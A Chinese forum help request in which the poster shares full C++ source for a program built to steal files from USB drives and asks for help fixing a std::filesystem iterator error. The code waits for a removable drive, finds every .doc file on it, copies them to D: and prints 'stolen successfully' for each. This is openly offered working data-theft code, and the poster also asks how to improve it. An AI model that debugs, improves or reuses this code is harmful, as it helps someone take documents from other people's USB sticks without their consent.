【提问】c++ – std::filesystem 错误:目录迭代器无法打开目录:不是目录 - 🤔 求助区极核论坛 - 用户交流区 - 极核GetShell

提问c++ – std::filesystem 错误:目录迭代器无法打开目录:不是目录

最近在尝试用CLion写一个偷猎U盘文件的项目(C++20标准),在尝试遍历目录文件时使用 C++ std::filesystem (调用get_allFile()函数)时遇到问题。

因为是第一次使用std::filesystem,并不熟悉,我不明白为什么是这个错误(或许是我自己的文件路径设置错了?),有没有大佬可以帮忙解惑一下

另外,项目还有什么可以改进的地方,如有指正,不胜感激

代码放下面了,可能有点长,麻烦各位大佬了

运行后报错信息为:terminate called after throwing an instance of ‘std::filesystem::__cxx11::filesystem_error’
what(): filesystem error: cannot increment recursive directory iterator: Invalid argument

#include <iostream>
#include <string>
#include <vector>
#include <map>
#include <bitset>
#include <filesystem>
#include <windows.h>
#include <system_error>

using namespace std;
using namespace filesystem;

class ThiefFile {
protected:
    string rootName;               // 盘符
    vector<string> root;           // 储存所有盘符
    map<string, string> fileInfo;  // 文件信息
public:
    // 得到U盘
    bool get_moveDrives();
    bool get_root();
    // 拷贝文件
    string get_fileType(string filename);  // 获取文件后缀
    void get_allFile(string suffix);       // 获取suffix后缀文件路径
    void thief_allFile(string newPath);    // 实现复制文件功能
    // 判断盘符是否存在
    bool is_exist();
};

int main() {
    ThiefFile object;
    string suffix = ".doc";
    string newPath = "D:";

    while(object.is_exist()) {
        object.get_root();
        if(object.get_moveDrives()){
            break;
        }
    }

    object.get_allFile(suffix);
    object.thief_allFile(newPath);

    return 0;
}


bool ThiefFile::get_moveDrives() {
    for(auto v : root){
        if(GetDriveType(v.c_str()) == DRIVE_REMOVABLE ){
            rootName = v;
            cout << "U盘:" << v << endl;
            return true;
        }
    }
    return false;
}

bool ThiefFile::get_root() {
    root.clear();
    bitset<26> bit(GetLogicalDrives());
    for(int i = 0; i < bit.size(); i++){
        if(bit[i] != 0){
            string name = "A";
            name[0] += i;
            root.push_back(name += ":");   // F:
        }
    }

    for(auto v : root){
        cout << "盘符" << v << endl;
    }

    return true;
}

string ThiefFile::get_fileType(string filename) {
    // 获取后缀
    string suffix;
    int i = filename.size() - 1;
    while(i > 0 && filename[i] != '.'){
        i--;
    }

    if(i == 0)
        return string();     // 空字符串

    suffix.assign(filename.begin() + i, filename.end());
    return suffix;
}

void ThiefFile::get_allFile(string suffix) {
    filesystem::path url(rootName);
    for(filesystem::recursive_directory_iterator end, begin(url); begin != end; ++begin){
        if(!filesystem::is_directory(begin->path())){
            string filename = begin->path().filename().string();
            if(get_fileType(filename) == suffix){
                fileInfo[begin->path().string()] = filename;
            }
        }
    }
    for(auto v : fileInfo){
        cout << v.first << "\t:\t" << v.second << endl;
    }
}

void ThiefFile::thief_allFile(string newPath) {
    filesystem::create_directories(newPath);
    for(auto v : fileInfo){
        string fileURL = newPath + "\\" + v.second;
        CopyFile(v.first.c_str(), fileURL.c_str(), TRUE);
        cout << fileURL << "-------------->窃取成功" << endl;
    }
}

bool ThiefFile::is_exist() {
    return rootName.empty();
}

 

请登录后发表评论

    • 糸北的头像 - 极核GetShell金贝会员糸北徽章-星月夜 - 极核GetShell等级-LV6 - 极核GetShell超级版主0